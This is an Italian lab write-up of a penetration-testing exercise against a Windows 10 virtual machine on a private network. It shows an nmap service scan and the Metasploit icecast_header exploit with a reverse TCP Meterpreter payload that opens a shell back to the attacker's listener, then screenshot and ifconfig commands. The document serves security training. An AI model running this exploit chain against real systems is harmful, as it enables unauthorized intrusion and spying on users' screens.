

Avviamo Iccast su Windows10 e scansioniamo con nmap -sV il sistema

```
(kali@kali)-[~]
$ nmap -sV 192.168.51.108
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-26 10:53 CEST
Nmap scan report for 192.168.51.108
Host is up (0.0037s latency).
Not shown: 980 closed tcp ports (conn-refused)
PORT      STATE SERVICE                VERSION
7/tcp     open  echo                   Microsoft Windows International daytime
9/tcp     open  discard?              Windows qotd (English)
13/tcp    open  daytime               Microsoft Windows International daytime
17/tcp    open  qotd                  Windows qotd (English)
19/tcp    open  chargen               Microsoft Windows International daytime
80/tcp    open  http                  Microsoft IIS httpd 10.0
135/tcp   open  msrpc                 Microsoft Windows RPC
139/tcp   open  netbios-ssn           Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds           Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
1801/tcp  open  msmq?                 Microsoft Windows RPC
2103/tcp  open  msrpc                 Microsoft Windows RPC
2105/tcp  open  msrpc                 Microsoft Windows RPC
2107/tcp  open  msrpc                 Microsoft Windows RPC
3389/tcp  open  ssl/ms-wbt-server?    Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
5357/tcp  open  http                  Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
5432/tcp  open  postgresql?           Icecast streaming media server
8000/tcp  open  http                  Apache Jserv (Protocol v1.3)
8009/tcp  open  ajp13                 Apache Tomcat/Coyote JSP engine 1.1
8080/tcp  open  http                  Apache Tomcat/Coyote JSP engine 1.1
8443/tcp  open  ssl/https-alt          Apache Tomcat/Coyote JSP engine 1.1
Service Info: Host: DESKTOP-9K104BT; OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 161.65 seconds
```

La porta 8000 è il nostro bersaglio, cerchiamo un exploit su metasploit.

```
(kali@kali)-[~]
$ msfconsole
Metasploit tip: You can use help to view all available commands

Metasploit v6.4.20-dev
+ -- --[ 2440 exploits - 1253 auxiliary - 429 post ]
+ -- --[ 1471 payloads - 47 encoders - 11 nops ]
+ -- --[ 9 evasion ]

Metasploit Documentation: https://docs.metasploit.com/

msf6 > search icecast

Matching Modules

#  Name                                     Disclosure Date  Rank  Check  Description
-  -
0  exploit/windows/http/icecast_header      2004-09-28      great No      Icecast Header Overwrite

Interact with a module by name or index. For example info 0, use 0 or use exploit/windows/http/icecast_header

msf6 > use 0
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
```

```

msf6 exploit(windows/http/icecast_header) > options

Module options (exploit/windows/http/icecast_header):



| Name   | Current Setting | Required | Description                                                                                                                               |
|--------|-----------------|----------|-------------------------------------------------------------------------------------------------------------------------------------------|
| RHOSTS |                 | yes      | The target host(s), see <a href="https://docs.metasploit.com/docs/using-metasploit">https://docs.metasploit.com/docs/using-metasploit</a> |
| RPORT  | 8000            | yes      | The target port (TCP)                                                                                                                     |



Payload options (windows/meterpreter/reverse_tcp):



| Name     | Current Setting | Required | Description                                               |
|----------|-----------------|----------|-----------------------------------------------------------|
| EXITFUNC | thread          | yes      | Exit technique (Accepted: '', seh, thread, process, none) |
| LHOST    | 192.168.51.102  | yes      | The listen address (an interface may be specified)        |
| LPORT    | 4444            | yes      | The listen port                                           |



Exploit target:



| Id | Name      |
|----|-----------|
| 0  | Automatic |



View the full module info with the info, or info -d command.

msf6 exploit(windows/http/icecast_header) > set RHOST 192.168.51.108
RHOST => 192.168.51.108
msf6 exploit(windows/http/icecast_header) > run

[*] Started reverse TCP handler on 192.168.51.102:4444
[*] Sending stage (176198 bytes) to 192.168.51.108
[*] Meterpreter session 1 opened (192.168.51.102:4444 -> 192.168.51.108:49530) at 2024-09-26 10:59:50 +0200

meterpreter >

```

Tramite meterpreter andiamo ad ottenere lo screenshot e l'IP della macchina

```

meterpreter > screenshot
Screenshot saved to: /home/kali/swBoLCIs.jpeg
meterpreter > ifconfig

Interface 1
=====
Name           : Software Loopback Interface 1
Hardware MAC   : 00:00:00:00:00:00
MTU            : 4294967295
IPv4 Address   : 127.0.0.1
IPv4 Netmask   : 255.0.0.0
IPv6 Address   : ::1
IPv6 Netmask   : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff

Interface 4
=====
Name           : Intel(R) PRO/1000 MT Desktop Adapter
Hardware MAC   : 08:00:27:c4:d0:ed
MTU            : 1500
IPv4 Address   : 192.168.51.108
IPv4 Netmask   : 255.255.255.0
IPv6 Address   : fe80::bc4d:d169:da06:e6ac
IPv6 Netmask   : ffff:ffff:ffff:ffff::

```

Qui lo screenshot:

Rick Astley - Never Gonna Give You Up (Official Music Video)

Aggiungi sottotitoli ai tuoi contenuti audio e video

Rick Astley - Mix de Éxitos

Éxitos De Los 70 y 80 En...

Mix - Rick Astley - Never...

Toto - Africa (Official HD...

Phil Collins, Elton John...

Soft Rock Sounds

Retro Session -

1,5 Mrd di visualizzazioni 14 anni fa #RickAstley #NeverGonnaGiveYouUp #OfficialMusicVideo

The official video for "Never Gonna Give You Up" by Rick Astley.

Ricerca in Windows e nel Web

ITA 11:06 26/09/2024